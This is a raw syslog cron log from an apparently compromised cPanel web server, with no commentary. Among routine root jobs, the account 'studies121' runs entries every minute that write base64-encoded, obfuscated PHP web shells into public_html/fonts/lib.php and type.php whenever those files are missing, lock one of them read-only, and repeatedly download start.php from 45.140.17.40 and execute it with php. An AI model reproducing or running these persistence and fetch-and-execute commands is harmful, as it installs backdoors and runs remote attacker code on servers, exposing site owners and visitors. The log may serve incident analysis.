Sep  1 22:20:01 ip-184-168-122-23 CROND[32719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:20:01 ip-184-168-122-23 CROND[32716]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 22:20:01 ip-184-168-122-23 CROND[32715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:20:01 ip-184-168-122-23 CROND[32718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:20:01 ip-184-168-122-23 CROND[32717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:20:01 ip-184-168-122-23 CROND[32721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:20:01 ip-184-168-122-23 CROND[32720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:20:01 ip-184-168-122-23 CROND[32722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:21:01 ip-184-168-122-23 CROND[357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:21:01 ip-184-168-122-23 CROND[359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:21:01 ip-184-168-122-23 CROND[360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:21:01 ip-184-168-122-23 CROND[361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:22:01 ip-184-168-122-23 CROND[440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:22:01 ip-184-168-122-23 CROND[442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:22:01 ip-184-168-122-23 CROND[443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:22:01 ip-184-168-122-23 CROND[445]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:22:01 ip-184-168-122-23 CROND[444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:23:01 ip-184-168-122-23 CROND[526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:23:01 ip-184-168-122-23 CROND[528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:23:01 ip-184-168-122-23 CROND[529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:23:01 ip-184-168-122-23 CROND[530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:24:01 ip-184-168-122-23 CROND[633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:24:01 ip-184-168-122-23 CROND[635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:24:01 ip-184-168-122-23 CROND[637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:24:01 ip-184-168-122-23 CROND[636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:24:01 ip-184-168-122-23 CROND[638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:25:01 ip-184-168-122-23 CROND[808]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 22:25:01 ip-184-168-122-23 CROND[810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:25:01 ip-184-168-122-23 CROND[813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:25:01 ip-184-168-122-23 CROND[812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:25:01 ip-184-168-122-23 CROND[814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:25:01 ip-184-168-122-23 CROND[815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:25:01 ip-184-168-122-23 CROND[816]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:26:01 ip-184-168-122-23 CROND[902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:26:01 ip-184-168-122-23 CROND[904]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:26:01 ip-184-168-122-23 CROND[905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:26:01 ip-184-168-122-23 CROND[906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:26:01 ip-184-168-122-23 CROND[907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:27:01 ip-184-168-122-23 CROND[989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:27:01 ip-184-168-122-23 CROND[991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:27:01 ip-184-168-122-23 CROND[993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:27:01 ip-184-168-122-23 CROND[994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:28:02 ip-184-168-122-23 CROND[1076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:28:02 ip-184-168-122-23 CROND[1078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:28:02 ip-184-168-122-23 CROND[1081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:28:02 ip-184-168-122-23 CROND[1082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:28:02 ip-184-168-122-23 CROND[1083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:29:01 ip-184-168-122-23 CROND[1196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:29:01 ip-184-168-122-23 CROND[1198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:29:01 ip-184-168-122-23 CROND[1199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:29:01 ip-184-168-122-23 CROND[1202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:30:01 ip-184-168-122-23 CROND[1364]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:30:01 ip-184-168-122-23 CROND[1374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 22:30:01 ip-184-168-122-23 CROND[1375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:30:01 ip-184-168-122-23 CROND[1378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:30:01 ip-184-168-122-23 CROND[1380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:30:01 ip-184-168-122-23 CROND[1382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:30:01 ip-184-168-122-23 CROND[1384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:30:01 ip-184-168-122-23 CROND[1385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:31:01 ip-184-168-122-23 CROND[1497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 22:31:01 ip-184-168-122-23 CROND[1498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:31:01 ip-184-168-122-23 CROND[1502]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 22:31:01 ip-184-168-122-23 CROND[1501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 22:31:01 ip-184-168-122-23 CROND[1503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:32:01 ip-184-168-122-23 CROND[1583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
